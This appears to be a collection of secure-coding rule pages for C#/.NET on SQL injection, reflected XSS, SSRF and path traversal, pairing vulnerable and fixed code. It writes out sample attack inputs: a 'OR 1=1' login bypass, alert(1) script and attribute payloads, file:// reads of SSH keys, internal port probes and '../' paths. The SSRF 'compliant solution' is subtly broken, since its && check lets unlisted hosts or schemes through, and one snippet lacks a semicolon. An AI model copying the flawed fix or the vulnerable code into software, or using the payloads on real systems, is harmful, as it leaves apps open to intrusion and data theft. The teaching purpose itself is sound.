The following code is an example of an overly simple authentication function. It is vulnerable to SQL injection because user-controlled data is inserted directly into a query string: The application assumes that incoming data always has a specific range of characters, and ignores that some characters may change the query logic to a malicious one.

In this particular case, the query can be exploited with the following string:

foo' OR 1=1 --

By adapting and inserting this template string into one of the fields (user or pass), an attacker would be able to log in as any user within the scoped user table.

Noncompliant code example

public class ExampleController : Controller
{
    private readonly UserAccountContext Context;

    public IActionResult Authenticate(string user, string pass)
    {
        var query = "SELECT * FROM users WHERE user = '" + user + "' AND pass = '" + pass + "'";

        var queryResults = Context
            .Database
            .FromSqlRaw(query);

        if (queryResults == 0)
        {
            return Unauthorized();
        }

        return Ok();
    }
}

Compliant solution

public class ExampleController : Controller
{
    private readonly UserAccountContext Context;

    public IActionResult Authenticate(string user, string pass)
    {
        var query = "SELECT * FROM users WHERE user = {0} AND pass = {1}";

        var queryResults = Context
            .Database
            .FromSqlRaw(query, user, pass);

        if (queryResults == 0)
        {
            return Unauthorized();
        }

        return Ok();
    }
}

How does this work?

Use prepared statements

As a rule of thumb, the best approach to protect against injections is to systematically ensure that untrusted data cannot break out of an interpreted context.

For database queries, prepared statements are a natural mechanism to achieve this due to their internal workings.
Here is an example with the following query string (Java SE syntax):

SELECT * FROM users WHERE user = ? AND pass = ?

Note: Placeholders may take different forms, depending on the library used. For the above example, the question mark symbol '?' was used as a placeholder.

When a prepared statement is used by an application, the database server compiles the query logic even before the application passes the literals corresponding to the placeholders to the database.
Some libraries expose a prepareStatement function that explicitly does so, and some do not - because they do it transparently.

The compiled code that contains the query logic also includes the placeholders: they serve as parameters.

After compilation, the query logic is frozen and cannot be changed.
So when the application passes the literals that replace the placeholders, they are not considered application logic by the database.

Consequently, the database server prevents the dynamic literals of a prepared statement from affecting the underlying query, and thus sanitizes them.

On the other hand, the application does not automatically sanitize third-party data (for example, user-controlled data) inserted directly into a query. An attacker who controls this third-party data can cause the database to execute malicious code.

Resources

Articles & blog posts

• SonarSource, Exploiting Hibernate Injections
• OWASP, SQL Injection Prevention Cheat Sheet
• SANS, Top 25 Software Errors - Insecure Interaction Between Components

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
• CERT, IDS00-J. - Prevent SQL injection

This vulnerability makes it possible to temporarily execute JavaScript code in the context of the application, granting access to the session of the victim. This is possible because user-provided data, such as URL parameters, are copied into the HTML body of the HTTP response that is sent back to the user.

Why is this an issue?

Reflected cross-site scripting (XSS) occurs in a web application when the application retrieves data like parameters or headers from an incoming HTTP request and inserts it into its HTTP response without first sanitizing it. The most common cause is the insertion of GET parameters.

When well-intentioned users open a link to a page that is vulnerable to reflected XSS, they are exposed to attacks that target their own browser.

A user with malicious intent carefully crafts the link beforehand.

After creating this link, the attacker must use phishing techniques to ensure that his target users click on the link.

What is the potential impact?

A well-intentioned user opens a malicious link that injects data into the web application. This data can be text, but it can also be arbitrary code that can be interpreted by the target user’s browser, such as HTML, CSS, or JavaScript.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Vandalism on the front-end website

The malicious link defaces the target web application from the perspective of the user who is the victim. This may result in loss of integrity and theft of the benevolent user’s data.

Identity spoofing

The forged link injects malicious code into the web application. The code enables identity spoofing thanks to cookie theft.

Record user activity

The forged link injects malicious code into the web application. To leak confidential information, attackers can inject code that records keyboard activity (keylogger) and even requests access to other devices, such as the camera or microphone.

Chaining XSS with other vulnerabilities

In many cases, bug hunters and attackers chain cross-site scripting vulnerabilities with other vulnerabilities to maximize their impact.
For example, an XSS can be used as the first step to exploit more dangerous vulnerabilities or features that require higher privileges, such as a code injection vulnerability in the admin control panel of a web application.

How to fix it in ASP.NET

Code examples

Noncompliant code example

using System.Web;
using System.Web.Mvc;

public class HelloController : Controller
{
    [HttpGet]
    public void Hello(string name, HttpResponse response)
    {
        string html = "<h1>Hello"+ name +"</h1>"
        response.Write(html);
    }
}

Compliant solution

using System.Web;
using System.Web.Mvc;

public class HelloController : Controller
{
    [HttpGet]
    public void Hello(string name, HttpResponse response)
    {
        string html = "<h1>Hello"+ HttpUtility.HtmlEncode(name) +"</h1>"
        response.Write(html);
    }
}

How does this work?

If the HTTP response is HTML code, it is highly recommended to use Razor-based view templates to generate it. This template engine separates the view from the business logic and automatically encodes the output of variables, drastically reducing the risk of cross-site scripting vulnerabilities.

Encode data according to the HTML context

The best approach to protect against XSS is to systematically encode data that is written to HTML documents. The goal is to leave the data intact from the end user’s point of view but make it uninterpretable by web browsers.

XSS exploitation techniques vary depending on the HTML context where malicious input is injected. For each HTML context, there is a specific encoding to prevent JavaScript code from being interpreted. The following table summarizes the encoding to apply for each HTML context.

Inbetween tags

<!doctype html>
<div>
  { data }
</div>

<!doctype html>
<div>
  <script>
    alert(1)
  </script>
</div>

HTML entity encoding: replace the following characters by HTML-safe sequences.

• & → &amp;
• < → &lt;
• > → &gt;
• " → &quot;
• ' → &#x27;

In an attribute surrounded with single or double quotes

<!doctype html>
<div tag="{ data }">
  ...
</div>

<!doctype html>
<div tag=""
     onmouseover="alert(1)">
  ...
</div>

HTML entity encoding: replace the following characters with HTML-safe sequences.

• & → &amp;
• < → &lt;
• > → &gt;
• " → &quot;
• ' → &#x27;

In an unquoted attribute

<!doctype html>
<div tag={ data }>
  ...
</div>

<!doctype html>
<div tag=foo
     onmouseover=alert(1)>
  ...
</div>

Dangerous context: HTML output encoding will not prevent XSS fully.

In a URL attribute

<!doctype html>
<a href="{ data }">
  ...
</a>

<!doctype html>
<a href="javascript:alert(1)">
  ...
</a>

Validate the URL by parsing the data. Make sure relative URLs start with a / and that absolute URLs use https as a scheme.

In a script block

<!doctype html>
<script>
  { data }
</script>

<!doctype html>
<script>
  alert(1)
</script>

Dangerous context: HTML output encoding will not prevent XSS fully. To pass values to a JavaScript context, the recommended way is to use a data attribute:

<!doctype html>
<script data="{ data }">
  ...
</script>

System.Web.HttpUtility.HtmlEncode is the recommended method to encode HTML entities.

Pitfalls

The limits of validation

Validation of user inputs is a good practice to protect against various injection attacks. But for XSS, validation on its own is not the recommended approach.

As an example, filtering out user inputs based on a deny-list will never fully prevent XSS vulnerability from being exploited. This practice is sometimes used by web application firewalls. It is only a matter of time for malicious users to find the exploitation payload that will defeat the filters.

Another example is applications that allow users or third-party services to send HTML content to be used by the application. A common approach is trying to parse HTML and strip sensitive HTML tags. Again, this deny-list approach is vulnerable by design: maintaining a list of sensitive HTML tags, in the long run, is very difficult.

A preferred option is to use Markdown in conjunction with a parser that removes embedded HTML and restricts the use of "javascript:" URI.

Going the extra mile

Content Security Policy (CSP) Header

With a defense-in-depth security approach, the CSP response header can be added to instruct client browsers to block loading data that does not meet the application’s security requirements. If configured correctly, this can prevent any attempt to exploit XSS in the application.
Learn more here.

Resources

Documentation

• OWASP Cheat Sheet - XSS Prevention Cheat Sheet

Articles & blog posts

• SonarSource, WordPress 5.8.2 Stored XSS Vulnerability
• SonarSource, Ghost CMS 4.3.2 - Cross-Origin Admin Takeover
• Samy Kamkar, The MySpace Worm

Conference presentations

• DEF CON Safe Mode Red Team Village, Ray Doyle, Weaponized XSS Moving Beyond Alert

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A7 - Cross-Site Scripting (XSS)
• MITRE, CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Why is this an issue?

Server-Side Request Forgery (SSRF) occurs when attackers can coerce a server to perform arbitrary requests on their behalf.

An SSRF vulnerability can either be basic or blind, depending on whether the server’s fetched data is directly returned in the web application’s response.
The absence of the corresponding response for the coerced request on the application is not a barrier to exploitation and thus must be treated in the same way as basic SSRF.

What is the potential impact?

SSRF usually results in unauthorized actions or data disclosure in the vulnerable application or on a different system it can reach. Conditional to what is reachable, remote command execution can be achieved, although it often requires chaining with further exploitations.

Information disclosure is SSRF’s core outcome. Depending on the extracted data, an attacker can perform a variety of different actions that can range from low to critical severity.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Local file read to host takeover

An attacker manipulates an application into performing a local request for a sensitive file, such as ~/.ssh/id_rsa, by using the File URI scheme file://.
Once in possession of the SSH keys, the attacker establishes a remote connection to the system hosting the web application.

Internal Network Reconnaissance

An attacker enumerates internal accessible ports from the affected server or others to which the server can communicate by iterating over the port field in the URL http://127.0.0.1:{port}.
Taking advantage of other supported URL schemas (dependent on the affected system), for example, gopher://127.0.0.1:3306, an attacker would be able to connect to a database service and perform queries on it.

How to fix it in ASP.NET

Code examples

The following code is vulnerable to SSRF as it performs an HTTP request to a URL defined by untrusted data.

Noncompliant code example

using System.Web;
using System.Web.Mvc;

public class ExampleController: Controller
{
    [HttpGet]
    public IActionResult ImageFetch(string location)
    {
        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(location);

        return Ok();
    }
}

Compliant solution

using System.Web;
using System.Web.Mvc;

public class ExampleController: Controller
{
    private readonly string[] allowedSchemes = { "https" };
    private readonly string[] allowedDomains = { "trusted1.example.com", "trusted2.example.com" };

    [HttpGet]
    public IActionResult ImageFetch(string location)
    {
        Uri uri = new Uri(location);

        if (!allowedDomains.Contains(uri.Host) && !allowedSchemes.Contains(uri.Scheme))
        {
            return BadRequest();
        }

        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);

        return Ok();
    }
}

How does this work?

The application should avoid opening URLs that are constructed with untrusted data.

When such a feature is strictly necessary, SSRF can be mitigated by applying an allow-list of trustable schemes and domains.

The compliant code example uses such an approach.

Pitfalls

The trap of 'StartsWith' and equivalents

When validating untrusted URLs by checking if they start with a trusted scheme and authority pair scheme://authority, ensure that the validation string contains a path separator / as the last character.

If the validation string does not contain a terminating path separator, the SSRF vulnerability remains; only the exploitation technique changes.

Thus, a validation like startsWith("https://example.com") or an equivalent with the regex ^https://example\.com.* can be exploited with the following URL https://example.commit.malicious.io.

Resources

Standards

• OWASP Top 10 2021 Category A10 - Server-Side Request Forgery (SSRF)
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-918 - Server-Side Request Forgery (SSRF)

Why is this an issue?

Path injections occur when an application uses untrusted data to construct a file path and access this file without validating its path first.

A user with malicious intent would inject specially crafted values, such as ../, to change the initial intended path. The resulting path would resolve somewhere in the filesystem where the user should not normally have access to.

What is the potential impact?

A web application is vulnerable to path injection and an attacker is able to exploit it.

The files that can be affected are limited by the permission of the process that runs the application. Worst case scenario: the process runs with root privileges on Linux, and therefore any file can be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Override or delete arbitrary files

The injected path component tampers with the location of a file the application is supposed to delete or write into. The vulnerability is exploited to remove or corrupt files that are critical for the application or for the system to work properly.

It could result in data being lost or the application being unavailable.

Read arbitrary files

The injected path component tampers with the location of a file the application is supposed to read and output. The vulnerability is exploited to leak the content of arbitrary files from the file system, including sensitive files like SSH private keys.

How to fix it in .NET

Code examples

The following code is vulnerable to path injection as it creates a path using untrusted data without validation.

An attacker can exploit the vulnerability in this code to delete arbitrary files.

Noncompliant code example

public class ExampleController : Controller
{
    private static string TargetDirectory = "/path/to/target/directory/";

    public void Example(string filename)
    {
        string path = Path.Combine(TargetDirectory, filename);
        System.IO.File.Delete(path);
    }
}

Compliant solution

public class ExampleController : Controller
{
    private static string TargetDirectory = "/path/to/target/directory/";

    public void Example(string filename)
    {
        string path = Path.Combine(TargetDirectory, filename);
        string canonicalDestinationPath = Path.GetFullPath(path);

        if (canonicalDestinationPath.StartsWith(TargetDirectory, StringComparison.Ordinal))
        {
            System.IO.File.Delete(canonicalDestinationPath);
        }
    }
}

How does this work?

Canonical path validation

If it is impossible to use secure-by-design APIs that do this automatically, the universal way to prevent path injection is to validate paths constructed from untrusted data:

1. Ensure the target directory path ends with a forward slash to prevent partial path traversal, for example, /base/dirmalicious starts with /base/dir but does not start with /base/dir/.
2. Resolve the canonical path of the file by using methods like System.IO.Path.GetFullPath. This will resolve relative path or path components like ../ and removes any ambiguity regarding the file’s location.
3. Check that the canonical path is within the directory where the file should be located.

Important Note: The order of this process pattern is important. The code must follow this order exactly to be secure by design:

1. data = transform(user_input);
2. data = normalize(data);
3. data = sanitize(data);
4. use(data);

As pointed out in this SonarSource talk, failure to follow this exact order leads to security vulnerabilities.

Pitfalls

Partial Path Traversal

When validating untrusted paths by checking if they start with a trusted folder name, ensure the validation string contains a path separator as the last character.
A partial path traversal vulnerability can be unintentionally introduced into the application without a path separator as the last character of the validation strings.

For example, the following code is vulnerable to partial path injection. Note that the string TargetDirectory does not end with a path separator:

private static string TargetDirectory = "/Users/John";

public void Example(string filename)
{
    string canonicalDestinationPath = Path.GetFullPath(filename);

    if (canonicalDestinationPath.StartsWith(TargetDirectory, StringComparison.Ordinal))
    {
        System.IO.File.Delete(canonicalDestinationPath);
    }
}

This check can be bypassed because "/Users/Johnny/file".startsWith("/Users/John") returns true. Thus, for validation, "/Users/John" should actually be "/Users/John/".